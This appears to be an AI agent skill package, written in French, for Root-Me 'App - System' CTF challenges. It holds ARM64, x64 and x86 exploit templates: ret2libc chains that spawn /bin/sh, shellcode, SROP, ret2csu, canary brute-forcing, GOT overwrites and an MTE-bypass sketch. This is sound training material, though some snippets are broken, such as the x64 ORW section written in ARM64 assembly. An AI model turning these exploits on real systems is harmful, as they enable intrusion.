# Ctf App System

> CTF App-System (Root-Me)

- Skill: `aibot88/ctf-app-system` (Agent Skill, multi-file: 2 files)
- Install (CLI): `npx skillmds@latest add aibot88/ctf-app-system`
- Raw SKILL.md: https://api.skillmd.com/api/skills/aibot88/ctf-app-system/raw
- Safety review: pending (external: skill-scanner PASS, skillspector FAIL)
- Works with: Claude Code, Claude.ai, OpenAI Codex
- Category: Coding & Dev Tools
- Author: aibot88 (https://skillmd.com/u/aibot88)
- Updated: 2026-09-21
- Page: https://skillmd.com/skills/aibot88/ctf-app-system

---


# CTF App-System (Root-Me)

Skill spécialisé pour les challenges Root-Me de la catégorie **App - System**, accessibles via SSH. La difficulté principale : pas de GDB interactif sur le serveur, pas de pwntools installé, exploit développé localement puis transféré.

## Ressources complémentaires

- [rootme-ssh.md](rootme-ssh.md) — Workflow SSH Root-Me : connexion, fingerprint libc (libc.rip API), transfert exploit, patchelf, one_gadget remote, DynELF
- [elf-x86.md](elf-x86.md) — ELF 32-bit : cdecl (args sur pile), ret2libc 32-bit, shellcode i386, `int 0x80` syscalls, ret2dlresolve x86, format string 32-bit, ASLR brute-force, race condition TOCTOU
- [elf-x64.md](elf-x64.md) — ELF 64-bit : System V AMD64 (rdi/rsi/rdx), ret2csu, PIE+ASLR bypass, canary leak/brute, stack alignment fix, GOT overwrite, one_gadget, BROP, seccomp ORW, leakless heap techniques
- [elf-arm64.md](elf-arm64.md) — ARM64/AArch64 : AAPCS64 (x0-x7/LR=x30), LR overwrite, JOP vs ROP, PAC bypass (QEMU NOP), TikTag MTE bypass (2024), SROP ARM64, QEMU local testing, gadget rareté
- [winkern-x64.md](winkern-x64.md) — Windows Kernel x64 : token stealing (_EPROCESS offsets), PreviousMode write (CVE-2024-21338), pool overflow, IOCTL AAR/AAW, Segment Heap, Handle Table, SMEP bypass, Windows 11 VBS/HVCI/CFG mitigations, driver IDA analysis

---

## Pattern Recognition Index

Dispatch on **observable binary/remote signals**, not the Root-Me challenge number.

| Signal | Technique → file |
|---|---|
| `readelf -h` → ELFCLASS32, EM_386; args on stack | i386 cdecl ret2libc / int 0x80 shellcode → elf-x86.md |
| ELFCLASS64 EM_X86_64, stack buffer overflow, libc present | ret2libc + ret2csu + rdi gadget → elf-x64.md |
| ELFCLASS64 EM_AARCH64 | AAPCS64 LR overwrite / JOP → elf-arm64.md |
| Binary with BTI + PAC symbols (`paciasp`, `autiasp`) | PAC bypass / TikTag MTE leak → elf-arm64.md |
| PE64 driver (`.sys`) + IOCTL handlers | Token stealing / PreviousMode → winkern-x64.md |
| Remote only (no local binary), forking `accept` loop, long timeout | BROP from scratch → elf-x64.md (cross-ref ctf-pwn/brop.md) |
| SSH-only shell, no GDB / no pwntools on server | libc.rip fingerprint + patchelf local → rootme-ssh.md |
| Seccomp filter denies `execve` but allows `open`/`read`/`write` | ORW ROP chain → elf-x64.md |
| FSOP primitive reachable + glibc ≥ 2.35 | FSOPAgain → elf-x64.md |
| Heap primitive + glibc 2.32–2.39 | House of Rust/Water/Tangerine → elf-x64.md (cross-ref ctf-pwn/heap-leakless.md) |
| Windows kernel pool grooming + `SeDebugPrivilege` target | Segment Heap + Handle Table primitives → winkern-x64.md |

Recognize the **mechanic**, not the Root-Me title.

---

---

For inline snippets and quick-reference tables, see [quickref.md](quickref.md). The Pattern Recognition Index above is the dispatch table — always consult it first.



---

<!-- Source: elf-arm64.md -->

# CTF App-System — ELF ARM64 / AArch64

## Spécificités ARM64 critiques

### Convention d'appel ARM64 (AAPCS64)

```
Registres arguments :   x0, x1, x2, x3, x4, x5, x6, x7
Valeur de retour :      x0 (x0:x1 pour 128-bit)
Link Register :         x30 (LR) — adresse de retour
Frame Pointer :         x29 (FP)
Stack Pointer :         sp (aligné à 16 bytes OBLIGATOIRE)
Scratch registers :     x8-x18 (caller-saved)
Preserved registers :   x19-x28, x29, x30 (callee-saved)
```

**DIFFÉRENCE MAJEURE** : Le `ret` en ARM64 saute vers `x30 (LR)`, pas vers la pile.
L'adresse de retour est souvent sauvegardée sur la pile par le prologue.

### Prologue/Epilogue ARM64 typiques

```asm
; Prologue : sauvegarde LR et FP
stp x29, x30, [sp, #-0x20]!   ; push {fp, lr}; sp -= 0x20
mov x29, sp

; Corps de la fonction
...

; Epilogue : restaure et retourne
ldp x29, x30, [sp], #0x20     ; pop {fp, lr}; sp += 0x20
ret                             ; jump to x30

; Si overflow du buffer : overwrite x30 (LR) sauvegardé sur la pile
```

### Layout pile ARM64

```
[ local vars ]  ← sp (aligné 16)
[ x29 (FP)  ]  ← sp + buffer_size
[ x30 (LR)  ]  ← sp + buffer_size + 8  ← TARGET (overwrite return addr)
```

**Offset** = taille_buffer → overwrite x30 (pas de "saved rbp" séparé comme x86)

## Trouver l'offset ARM64

```bash
# GDB avec pwndbg en local (QEMU + ARM64 chroot ou machine ARM)
# Ou cross-compiler pour test

# Méthode 1 : cyclic + crash
python3 -c "from pwn import *; context.arch='aarch64'; sys.stdout.buffer.write(cyclic(200))" \
  | ./challenge
# Dans gdb-multiarch : info registers x30 → valeur corrompue

# Méthode 2 : QEMU user-mode
qemu-aarch64 -g 1234 ./challenge &
gdb-multiarch -ex "set arch aarch64" -ex "target remote :1234" ./challenge

# Méthode 3 : static analysis
objdump -d ./challenge | grep -A3 "sub.*sp"
# Chercher : stp x29, x30, [sp, #-N]!
# → offset = N - 0 (x30 est à sp+8 après le stp)
# → payload = b'A'*N + p64(target_addr)  → overwrite x30
```

## Test local ARM64 avec QEMU

```bash
# Installation
sudo apt install qemu-user-static gcc-aarch64-linux-gnu gdb-multiarch

# Exécuter un binaire ARM64 directement (avec libc ARM64)
qemu-aarch64-static -L /usr/aarch64-linux-gnu ./challenge

# Debug avec GDB
qemu-aarch64-static -g 1234 -L /usr/aarch64-linux-gnu ./challenge &
gdb-multiarch ./challenge -ex "target remote :1234"

# pwntools avec QEMU automatique
from pwn import *
context.arch = 'aarch64'
context.os = 'linux'
io = process(['qemu-aarch64-static', '-L', '/usr/aarch64-linux-gnu', './challenge'])
```

## ROP ARM64 : rareté des gadgets

**Problème** : ARM64 a des instructions de taille fixe (4 bytes), ce qui limite drastiquement les gadgets par rapport à x86. Les gadgets `ret` sont rares car ARM64 utilise `br x30` ou `ret`.

```bash
# Trouver les gadgets ARM64
ROPgadget --binary ./challenge --rop --arch aarch64
# Ou ropper
ropper -f ./challenge --arch AARCH64

# Gadgets essentiels à chercher
# ldr x0, [sp, #N]; ldp x29, x30, [sp, #M]; ret  ← charger x0 depuis pile
# blr x0  ← call indirect via registre (JOP)
# ldp xN, xM, [sp, #N]!; ret  ← pop multiple registers
```

## JOP (Jump-Oriented Programming) ARM64

**JOP** = alternative à ROP sur ARM64 quand `ret` gadgets manquent. Utilise `br xN` ou `blr xN` (call via registre) pour chaîner les gadgets.

```python
# Schéma JOP typique :
# Gadget dispatcher : charge xN depuis la pile → br xN
# Chaque gadget : effectue action → charge prochain gadget → br xN

# Exemple avec gadget "ldr x0, [x1]; br x2"
# x1 = adresse de la valeur à charger dans x0
# x2 = adresse du prochain gadget
```

## ret2libc ARM64

```python
from pwn import *

context.arch = 'aarch64'
elf  = ELF('./challenge')
libc = ELF('./libc.so.6')  # libc ARM64

# Gadgets ARM64 (trouver avec ROPgadget)
# Chercher : "ldr x0, [sp, ...]; ... ret" ou "ldp x0, ...; ret"
pop_x0 = ...  # gadget qui met [sp+N] dans x0 puis ret

offset = 72  # à ajuster

# === Stage 1 : Leak puts@GOT ===
payload  = b'A' * offset
# ARM64 : x0 = arg1 → mettre puts@GOT dans x0
payload += p64(pop_x0)
payload += p64(elf.got['puts'])  # valeur pour x0
payload += p64(elf.plt['puts'])  # call puts
payload += p64(elf.symbols['main'])  # retour

io.sendline(payload)
puts_leak = u64(io.recvn(8))
libc_base = puts_leak - libc.symbols['puts']
system    = libc_base + libc.symbols['system']
binsh     = libc_base + next(libc.search(b'/bin/sh'))

# === Stage 2 : system("/bin/sh") ===
payload2  = b'A' * offset
payload2 += p64(pop_x0) + p64(binsh)
payload2 += p64(system)

io.sendline(payload2)
io.interactive()
```

## Shellcode ARM64

```python
from pwn import *
context.arch = 'aarch64'

# Shellcode execve("/bin/sh", NULL, NULL)
shellcode = asm(shellcraft.aarch64.linux.sh())

# Ou shellcode manuel ARM64
shellcode = asm('''
    /* execve("/bin/sh", NULL, NULL) */
    mov x8, #221              /* __NR_execve = 221 */
    adr x0, binsh
    mov x1, #0
    mov x2, #0
    svc #0
    binsh: .asciz "/bin/sh"
''')
```

## Pointer Authentication (PAC) bypass

```bash
# PAC = Pointer Authentication Codes
# Présent sur hardware Apple M1/M2, certains serveurs ARM modernes
# Root-Me challenges : généralement pas de PAC (émulé sous QEMU sans PAC)

# Vérifier si PAC est actif
# Dans le binaire : chercher "pacibsp", "autibsp", "pacia", "autia"
objdump -d ./challenge | grep -E "pac|aut"

# Si QEMU sans PAC extension : les instructions PAC sont NOP → exploit normal
# Si PAC actif : besoin d'oracle pour signer les pointeurs

# Pour Root-Me : vérifier le flag dans qemu-aarch64-static
qemu-aarch64-static -cpu max ./challenge
# "max" inclut toutes les extensions mais émule sans vrai PAC enforcement
```

## Gadgets ARM64 courants dans libc

```bash
# Chercher dans libc ARM64 (souvent plus de gadgets)
ROPgadget --binary ./libc.so.6 --rop --arch aarch64 | grep "pop {x0}"
ropper -f ./libc.so.6 --arch AARCH64 | grep "ldr x0"

# Gadgets typiquement trouvables dans libc ARM64
# ldr x0, [sp, #0x18]; ldp x29, x30, [sp], #0x20; ret
# → Parfait pour charger x0 (arg1) depuis la pile
```

## Numéros de syscalls ARM64

```
__NR_read        = 63
__NR_write       = 64
__NR_openat      = 56
__NR_close       = 57
__NR_execve      = 221
__NR_exit        = 93
__NR_mmap        = 222
__NR_mprotect    = 226
__NR_brk         = 214
__NR_rt_sigreturn = 139
```

```python
# Syscall en ARM64
payload = asm('''
    mov x8, 221     ; __NR_execve
    adr x0, sh_str
    mov x1, xzr
    mov x2, xzr
    svc 0
    sh_str: .ascii "/bin/sh\x00"
''')
```

## TikTag — MTE Bypass via Speculative Execution (2024)

**Source :** [github.com/compsec-snu/tiktag](https://github.com/compsec-snu/tiktag) | IEEE S&P 2025  
**Impact :** Bypass hardware Memory Tagging Extension (MTE) via branch predictor / store-to-load forwarding  
**Contexte CTF :** Challenges ARM64 avec MTE activé (Pixel 8, serveurs modernes)

```bash
# Vérifier si MTE est actif dans le challenge
objdump -d ./challenge | grep -E "stg|ldg|irg|addg|subg|gmi"
# stg = store tag, ldg = load tag, irg = insert random tag

# Si MTE présent dans QEMU :
qemu-aarch64-static -cpu max,mte=on ./challenge

# TikTag-v1 : branch predictor side-channel
# Mesurer le temps d'accès après une prédiction de branche
# Un accès avec le mauvais tag cause une exception → timing différent

# TikTag-v2 : store-to-load forwarding
# CPU forward depuis un store avec tag invalide vers un load → leak du tag
# Les deux variantes ont 95%+ de succès sur Pixel 8 hardware
```

```c
// Concept TikTag (simplifié pour CTF)
// Pour chaque tag possible (0-15), tenter un accès et mesurer le timing
// Le bon tag cause un hit, les mauvais causent des exceptions (plus lents)

#include <time.h>
#include <signal.h>

volatile int tag_found = 0;
volatile uint8_t correct_tag = 0;

void sigsegv_handler(int sig) {
    // Exception MTE → mauvais tag, continuer
    longjmp(env, 1);
}

uint8_t leak_mte_tag(void *tagged_ptr) {
    signal(SIGSEGV, sigsegv_handler);
    
    for (uint8_t tag = 0; tag < 16; tag++) {
        // Forger un pointeur avec le tag testé
        void *test_ptr = (void*)((uintptr_t)tagged_ptr | ((uintptr_t)tag << 56));
        
        if (setjmp(env) == 0) {
            struct timespec start, end;
            clock_gettime(CLOCK_MONOTONIC, &start);
            volatile char val = *(char*)test_ptr;  // Accès MTE
            clock_gettime(CLOCK_MONOTONIC, &end);
            
            uint64_t elapsed = (end.tv_nsec - start.tv_nsec);
            if (elapsed < THRESHOLD_NS) {
                return tag;  // Hit → bon tag
            }
        }
        // Exception → mauvais tag, essayer le suivant
    }
    return 0;  // Pas trouvé
}
```

**Pour Root-Me ARM64 avec MTE :**
- La plupart des challenges Root-Me **n'ont pas MTE** (QEMU sans MTE par défaut)
- Vérifier : `cat /proc/cpuinfo | grep mte` sur le serveur
- Si MTE absent → exploit normal sans tag bruteforce

## SROP (Sigreturn-Oriented Programming) ARM64

```python
from pwn import *
context.arch = 'aarch64'

# SROP ARM64 : moins courant qu'en x86 mais possible
# Gadget nécessaire : mov x8, #139 (rt_sigreturn); svc 0
# x8 = 139 = __NR_rt_sigreturn pour ARM64

# Trouver le gadget rt_sigreturn
# Souvent dans la libc ou dans le binaire

# Construire le SigreturnFrame
frame = SigreturnFrame(arch='aarch64')
frame.x0 = 0               # arg1 pour execve
frame.x8 = 221             # __NR_execve
frame.sp = binsh_addr      # pas utilisé ici
frame.pc = syscall_gadget  # adresse d'une instruction svc #0

# Le payload déclenche sigreturn avec notre frame
payload = b'A' * offset
payload += p64(sigreturn_gadget)  # mov x8, 139; svc 0
payload += bytes(frame)
```

## Debugging ARM64 remote (Root-Me SSH)

```bash
# Sur le serveur Root-Me ARM64 :
# 1. Vérifier l'architecture
file ./challenge   # → ELF 64-bit LSB executable, ARM aarch64

# 2. Vérifier les tools disponibles
which gdb          # rarement présent
which python3      # souvent présent

# 3. QEMU peut être utilisé localement pour debug
# Télécharger le binaire
scp -P 2222 user@host:~/challenge ./

# 4. Tester avec la bonne libc
scp -P 2222 user@host:/lib/aarch64-linux-gnu/libc.so.6 ./libc_arm64.so.6
qemu-aarch64-static -L /usr/aarch64-linux-gnu ./challenge
# Ou avec patchelf
```

## Template exploit ARM64 complet

```python
from pwn import *

context.arch = 'aarch64'
context.os = 'linux'
context.log_level = 'info'

elf  = ELF('./challenge')
libc = ELF('./libc_arm64.so.6')
rop  = ROP(elf)

LOCAL = True
if LOCAL:
    io = process(['qemu-aarch64-static', '-L', '/usr/aarch64-linux-gnu', './challenge'])
else:
    shell = ssh('user', 'challenge.root-me.org', port=2222, password='...')
    io = shell.process('./challenge')

offset = 72  # À déterminer avec cyclic

# Gadgets
# Chercher avec ROPgadget --binary ./challenge --binary ./libc_arm64.so.6
pop_x0 = 0x...  # ldr x0, ...; ret ou équivalent

# Exploit
payload = flat([
    b'A' * offset,
    pop_x0,
    elf.got['puts'],
    elf.plt['puts'],
    elf.sym['main'],
])

io.sendlineafter(b'> ', payload)
leak = u64(io.recvn(8))
libc.address = leak - libc.sym['puts']

system = libc.sym['system']
binsh  = next(libc.search(b'/bin/sh'))

payload2 = flat([
    b'A' * offset,
    pop_x0,
    binsh,
    system,
])
io.sendlineafter(b'> ', payload2)
io.interactive()
```



---

<!-- Source: elf-x64.md -->

# CTF App-System — ELF x64 (64-bit)

## Convention d'appel System V AMD64

```
Registres pour les arguments :
  rdi → arg1
  rsi → arg2
  rdx → arg3
  rcx → arg4
  r8  → arg5
  r9  → arg6
  Reste → sur la pile

Valeur de retour : rax
Registres sauvegardés par l'appelé : rbx, rbp, r12-r15
```

**Implication ROP** : pour appeler `system("/bin/sh")`, besoin de `pop rdi; ret` pour mettre `/bin/sh` dans rdi.

## Stack layout 64-bit

```
[ arg7+... ]  ← si plus de 6 args
[ ret addr ]  ← rsp+0  (← RIP overwrite)
[ saved rbp]  ← rbp
[ local vars]
[ buffer   ]  ← rbp-N
```

**Offset** = N + 8 (saved RBP) → overwrite return address.

## Stack alignment critique (SIGSEGV dans movaps)

```python
# PROBLÈME : glibc utilise SSE (movaps) qui requiert alignement 16 bytes
# SYMPTÔME : crash dans system() ou printf() mais pas dans overflow
# SOLUTION : ajouter un gadget `ret` avant l'appel

ret_gadget = elf.address + 0x...  # ROPgadget --binary ./ch | grep ": ret$"
payload = b'A' * offset + p64(ret_gadget) + p64(pop_rdi) + p64(binsh) + p64(system)
#                         ↑ alignment fix
```

## ret2libc 64-bit complet

```python
from pwn import *

elf  = ELF('./challenge')
libc = ELF('./libc.so.6')
rop  = ROP(elf)
context.arch = 'amd64'

# Gadgets
pop_rdi = rop.find_gadget(['pop rdi', 'ret'])[0]
ret     = rop.find_gadget(['ret'])[0]

offset = 72  # cyclic_find(crash_val)

# === Stage 1 : Leak puts@GOT ===
payload  = b'A' * offset
payload += p64(pop_rdi)
payload += p64(elf.got['puts'])
payload += p64(elf.plt['puts'])
payload += p64(elf.symbols['main'])  # retour pour stage 2

io.sendlineafter(b'> ', payload)
puts_leak = u64(io.recvline().strip().ljust(8, b'\x00'))
libc_base = puts_leak - libc.symbols['puts']
system    = libc_base + libc.symbols['system']
binsh     = libc_base + next(libc.search(b'/bin/sh'))

# === Stage 2 : system("/bin/sh") ===
payload2  = b'A' * offset
payload2 += p64(ret)           # alignment
payload2 += p64(pop_rdi)
payload2 += p64(binsh)
payload2 += p64(system)

io.sendlineafter(b'> ', payload2)
io.interactive()
```

## Contrôler rsi et rdx (3 arguments)

```python
# ROPgadget pour contrôler rsi, rdx
# pop rsi; pop r15; ret  (classique dans __libc_csu_init)
# pop rdx; pop rbx; ret  (souvent dans libc)

pop_rsi_r15 = rop.find_gadget(['pop rsi', 'pop r15', 'ret'])[0]
pop_rdx_rbx = libc_base + 0x...  # depuis libc

# 3-arg call : open(filename, flags, mode)
payload += p64(pop_rdi) + p64(filename_addr)
payload += p64(pop_rsi_r15) + p64(O_RDONLY) + p64(0)  # r15 = junk
payload += p64(pop_rdx_rbx) + p64(0) + p64(0)         # mode + junk
payload += p64(open_addr)
```

## ret2csu (quand gadgets manquent)

```python
# __libc_csu_init contient deux blocs de gadgets universels :
# Gadget A (fin de boucle) :
#   pop rbx; pop rbp; pop r12; pop r13; pop r14; pop r15; ret
# Gadget B (dans la boucle) :
#   mov rdx, r15; mov rsi, r14; mov edi, r13d; call [r12 + rbx*8]

# Trouver les offsets
elf.symbols['__libc_csu_init']
# Gadget A = csu + 0x5a (souvent), Gadget B = csu + 0x40

def ret2csu(func_got_ptr, arg1=0, arg2=0, arg3=0, ret_addr=None):
    """Appel une fonction avec 3 arguments via __libc_csu_init"""
    csu_end   = elf.symbols['__libc_csu_init'] + 0x5a  # pop rbx...
    csu_mid   = elf.symbols['__libc_csu_init'] + 0x40  # mov rdx,r15...
    
    chain  = p64(csu_end)
    chain += p64(0)               # rbx = 0 (pour call [r12+0])
    chain += p64(1)               # rbp = 1 (condition boucle)
    chain += p64(func_got_ptr)    # r12 → fonction à appeler
    chain += p64(arg1)            # r13 → edi (arg1, 32-bit!)
    chain += p64(arg2)            # r14 → rsi (arg2)
    chain += p64(arg3)            # r15 → rdx (arg3)
    chain += p64(csu_mid)         # retour vers le milieu de csu
    # 7 * p64(0) pour les registres pop après la boucle
    chain += p64(0) * 7
    if ret_addr:
        chain += p64(ret_addr)
    return chain
```

## PIE bypass

```python
# PIE = Position Independent Executable : toutes les adresses randomisées

# Méthode 1 : leak via format string
payload = b'%p.' * 30  # Trouver une adresse du binaire sur la pile
# Identifier l'adresse (se termine généralement en adresse connue)
# Soustrait l'offset pour trouver la base PIE

# Méthode 2 : partial overwrite (quand canary absent)
# Seuls les 12 bits de poids faible sont fixes (alignement page)
# Overwrite seulement les 2 derniers octets du RIP
payload = b'A' * offset + p16(0x1234)  # 50% chance avec 1 nibble aléatoire

# Méthode 3 : information disclosure via format string
# leak PIE base : adresse retour dans main visible sur la pile
# Souvent : stack[offset] - (main+N) = PIE_base
```

## Canary leak et bypass

```python
# Méthode 1 : format string leak
# Canary est sur la pile, trouve son offset avec %N$p
# Généralement finit par \x00 (null byte)
for i in range(1, 50):
    io.sendline(f'%{i}$016lx'.encode())
    val = int(io.recvline().strip(), 16)
    if val & 0xff == 0:  # Canary commence par \x00
        print(f"Canary à la position {i}: {hex(val)}")

# Méthode 2 : brute-force byte par byte (serveur forking)
canary = b'\x00'  # 1er byte toujours nul
for idx in range(1, 8):  # 7 bytes restants
    for byte in range(256):
        # Envoyer : buffer_size + bytes_du_canary + byte_test
        payload = b'A' * offset + canary + bytes([byte])
        # Si pas de "stack smashing detected" → byte correct
        ...
    canary += bytes([found_byte])

# Utilisation du canary leaké dans le payload
payload = b'A' * canary_offset + canary + p64(0)  # saved rbp
payload += p64(pop_rdi) + p64(binsh) + p64(system)
```

## GOT overwrite (Partial RELRO)

```python
# Overwrite une entrée GOT pour rediriger un appel de fonction
# Nécessite : Partial RELRO (GOT writable) + pas de PIE ou PIE leaké

target_got = elf.got['exit']    # ou 'puts', 'printf', etc.
win_func   = elf.symbols['win'] # ou system

# Via format string (méthode principale)
from pwn import fmtstr_payload
payload = fmtstr_payload(fmt_offset, {target_got: win_func}, write_size='short')

# Via overflow direct (si adresse fixe)
# Écrire win_func à l'adresse target_got
```

## one_gadget (shell direct sans args)

```python
from pwn import *
import subprocess

# Trouver les gadgets
result = subprocess.check_output(['one_gadget', 'libc.so.6']).decode()
# → 0x4f2a5 execve("/bin/sh", rsp+0x40, environ) constraints: [rsp+0x40] == NULL
# → 0x4f302 execve("/bin/sh", rsp+0x40, environ) constraints: [rsp+0x40] == NULL

# Tester chaque gadget
for offset in [0x4f2a5, 0x4f302, 0xe6c7e]:
    one_gadget = libc_base + offset
    payload = b'A' * padding + p64(one_gadget)
    # Si les contraintes sont satisfaites → shell direct
```

## Techniques avancées x64

### Stack pivot (overflow limité)

```python
# Quand overflow < 16 bytes (seulement RBP + RIP)
# Pattern : overwrite RBP → zone contrôlée, RIP → leave;ret

leave_ret = rop.find_gadget(['leave', 'ret'])[0]
fake_stack = elf.bss() + 0x100  # Zone BSS contrôlable

# Stage 1 : pivot vers BSS
payload = b'A' * (offset - 8) + p64(fake_stack) + p64(leave_ret)
# Stage 2 : ROP chain en BSS (lire via read() par ex)
```

### Format string → leak multiple (PIE + canary + libc)

```python
# Un seul format string pour leaker tout
# Chercher sur la pile : adresse libc, adresse binaire, canary
payload = b'%p.' * 50
io.sendline(payload)
leaks = io.recvline().decode().split('.')
# Analyser chaque valeur :
# - libc : commence par 0x7f
# - canary : termine par \x00 (visible comme 0x...XX00)
# - PIE : offset connu par rapport à sections

for i, leak in enumerate(leaks):
    val = int(leak, 16) if leak.startswith('0x') else 0
    if val > 0x7f0000000000: print(f"[{i}] Possible libc: {hex(val)}")
    if val & 0xff == 0:       print(f"[{i}] Possible canary: {hex(val)}")
```

### Heap leak pour tcache poison

```python
# tcache poisoning (glibc 2.26-2.31)
# safe-linking (glibc 2.32+) : fd = ptr ^ (chunk_addr >> 12)

# Leak heap address via UAF
io.sendline(b'1')  # alloc
io.sendline(b'3')  # free (sans null)
io.sendline(b'2')  # view → affiche fd du chunk free = heap addr

heap_addr = u64(io.recvn(8))
# glibc 2.32+ : fd = ptr ^ (addr >> 12)
# Pour décoder : heap_key = heap_addr >> 12
# fd_mangled = target_addr ^ heap_key

# tcache poison : allouer 2 chunks, free les 2, overwrite fd du 2ème
```

## BROP (Blind ROP) — serveur SSH sans binaire

```python
# Si le binaire n'est PAS disponible en téléchargement mais accessible via SSH
# Utiliser BROP pour construire l'exploit depuis zéro

# Étape 1 : canary leak byte par byte (serveur forking)
# Étape 2 : stop gadget (adresse qui ne crashe pas)
# Étape 3 : BROP gadget (pop 6 registres) → pop_rdi = brop + 9
# Étape 4 : PLT scanner → trouver puts()
# Étape 5 : puts(pie_base) → dump du binaire
# Étape 6 : Exploit classique sur le binaire dumpé

# Voir ctf-pwn/brop.md pour implémentation complète

# Pour Root-Me SSH : le binaire est souvent DISPONIBLE dans ~/
# → Télécharger via scp avant de tenter BROP
scp -P 2222 user@host:~/challenge ./
```

## Seccomp + ROP (glibc 2.38+)

```python
from pwn import *

# Vérifier les règles seccomp du challenge
# (après connexion SSH ou en local)
seccomp_dump = subprocess.check_output(['seccomp-tools', 'dump', './challenge'])
# Ou en live :
# seccomp-tools dump ./challenge

# Syscalls souvent bloqués : execve, execveat
# Syscalls souvent autorisés : open/openat, read, write, mmap

# Stratégie ORW (Open-Read-Write) quand execve bloqué
from pwn import *

# Shellcode ORW
ORW = asm(f'''
    /* openat(AT_FDCWD, "/challenge/.passwd", O_RDONLY) */
    mov x8, #56          /* __NR_openat */
    mov x0, #-100        /* AT_FDCWD */
    adr x1, flag_path
    mov x2, #0           /* O_RDONLY */
    mov x3, #0
    svc #0
    
    /* read(fd, buf, 0x100) */
    mov x1, x0           /* fd retourné */
    mov x8, #63          /* __NR_read */
    mov x0, x1
    mov x1, sp           /* buf = stack */
    mov x2, #0x100
    svc #0
    
    /* write(1, buf, bytes_read) */
    mov x8, #64          /* __NR_write */
    mov x1, #1
    /* x1 = stdout */
    svc #0
    
    flag_path: .ascii "/challenge/.passwd\\0"
''', arch='aarch64')
```

## Leakless x64 pour Root-Me

```python
# Quand ASLR + PIE + Full RELRO : besoin de leaks
# Mais si le binaire a une vulnérabilité heap ET glibc >= 2.32 :
# Utiliser les techniques leakless (voir ctf-pwn/heap-leakless.md)

# Sur Root-Me : la libc du serveur est souvent identifiable
# 1. Se connecter et noter la version
# 2. Télécharger la libc
# 3. Utiliser les techniques adaptées à cette version

# Workflow adaptatif selon glibc :
def choose_heap_technique(libc_version):
    if libc_version < (2, 26):
        return "fastbin_dup"          # Pas de tcache
    elif libc_version < (2, 32):
        return "tcache_poison"         # tcache sans safe-linking
    elif libc_version < (2, 34):
        return "tcache_safe_linking"   # Besoin du heap key
    elif libc_version < (2, 39):
        return "house_of_water"        # tcache_perthread_struct
    else:
        return "house_of_tangerine"    # malloc-only AAW
```

## Commandes de recon x64

```bash
# Trouver l'offset de puts dans libc (pour calculer libc_base)
readelf -s ./libc.so.6 | grep " puts"
# → 000000000007faa0 ... FUNC GLOBAL DEFAULT   15 puts@@GLIBC_2.2.5

# Trouver /bin/sh dans libc
strings -a -t x ./libc.so.6 | grep "/bin/sh"
# → 1b45bd /bin/sh

# ROPgadget
ROPgadget --binary ./challenge --rop | grep "pop rdi"
ROPgadget --binary ./libc.so.6 --rop | grep "pop rdx"

# pwntools rop
python3 -c "
from pwn import *
elf = ELF('./challenge')
rop = ROP(elf)
print(rop.dump())
"
```



---

<!-- Source: elf-x86.md -->

# CTF App-System — ELF x86 (32-bit)

## Spécificités 32-bit vs 64-bit

| Aspect | x86 32-bit | x86-64 |
|--------|-----------|--------|
| **Convention d'appel** | cdecl : args sur la pile | Registres rdi, rsi, rdx... |
| **Adresses** | 4 octets (0x08048xxx) | 8 octets (0x55..., 0x7f...) |
| **Syscalls** | `int 0x80`, eax=numéro | `syscall`, rax=numéro |
| **ASLR** | 8-bit d'entropie (stack) | 28-bit (plus difficile à bruteforcer) |
| **ret2libc** | system(addr_binsh) simplifié | Besoin de gadgets pop rdi/ret |
| **Shellcode** | Facile (i386) | NX rend nécessaire ROP |

## Stack layout 32-bit

```
[    arg2    ]  ← esp+8 après call
[    arg1    ]  ← esp+4
[ return addr]  ← esp+0  (← RIP overwrite ici)
[  saved ebp ]  ← ebp
[ local vars ]
[  buffer    ]  ← ebp-N
```

**Offset** = N (taille buffer) + 4 (saved EBP) → overwrite return address.

## ret2libc 32-bit (le plus fréquent sur Root-Me)

```python
from pwn import *

elf = ELF('./challenge')
libc = ELF('./libc.so.6')

# Adresses fixes si pas de PIE (classique Root-Me x86)
system_plt = elf.plt['system']       # si dans PLT
puts_plt   = elf.plt['puts']
puts_got   = elf.got['puts']

# === Stage 1 : leak libc via puts(puts@GOT) ===
offset = 76  # buffer + saved_ebp

payload = b'A' * offset
payload += p32(puts_plt)        # call puts
payload += p32(elf.symbols['main'])  # return après puts (stage 2)
payload += p32(puts_got)        # arg1 : adresse à leaker

io.sendline(payload)
puts_leak = u32(io.recv(4))
libc_base = puts_leak - libc.symbols['puts']
system = libc_base + libc.symbols['system']
binsh  = libc_base + next(libc.search(b'/bin/sh'))

# === Stage 2 : system("/bin/sh") ===
payload2 = b'A' * offset
payload2 += p32(system)         # call system
payload2 += p32(0xdeadbeef)    # return address (peu importe)
payload2 += p32(binsh)          # arg1 : "/bin/sh"

io.sendline(payload2)
io.interactive()
```

## ret2win 32-bit (pas de leak requis)

```python
# Trouver la win function
elf = ELF('./challenge')
win = elf.symbols['win']  # ou 'flag', 'backdoor', etc.

offset = 76
payload = b'A' * offset + p32(win)
```

## ret2libc sans leak (quand PIE désactivé)

```python
# Si PIE désactivé : adresses fixes dans le binaire
# Chercher /bin/sh dans le binaire lui-même
binsh_addr = next(elf.search(b'/bin/sh\x00'))

# Chercher system dans PLT ou libc avec adresse connue
# ROPgadget --binary ./challenge --string "/bin/sh"
```

## Shellcode 32-bit (quand NX désactivé)

```python
from pwn import *
context.arch = 'i386'

shellcode = asm(shellcraft.sh())  # shellcode i386 minimal

# Stack shellcode : overflow → RET = adresse du shellcode sur la pile
offset = 64
# Trouver l'adresse de la pile : via leak ou via NOP sled
nop_sled = b'\x90' * 100
payload = nop_sled + shellcode + b'A' * (offset - len(nop_sled) - len(shellcode))
payload += p32(stack_addr)  # adresse dans le NOP sled
```

## Format string 32-bit

```python
# Leak de la pile : les arguments sont à partir du 1er paramètre positionnel
# En 32-bit, les args format string SONT sur la pile directement

# Trouver son offset sur la pile
for i in range(1, 30):
    io.sendline(f'%{i}$x'.encode())
    print(i, io.recvline())

# Écrire en 32-bit : cible = adresse 4 octets
# %<val>c%<N>$n écrit <val> à l'adresse N sur la pile
from pwn import fmtstr_payload
payload = fmtstr_payload(offset, {got_addr: target_addr})
# offset = position de notre input sur la pile (trouver avec %N$x == 0x41414141)
```

## Trouver l'offset de l'overflow

```bash
# Méthode 1 : cyclic pattern
python3 -c "from pwn import *; sys.stdout.buffer.write(cyclic(200))"  | ./challenge
# Voir le crash : dmesg | tail ou gdb

# Méthode 2 : GDB local
gdb ./challenge
run <<< $(python3 -c "from pwn import *; sys.stdout.buffer.write(cyclic(200))")
# Après crash : x/x $eip → valeur EIP corrompue
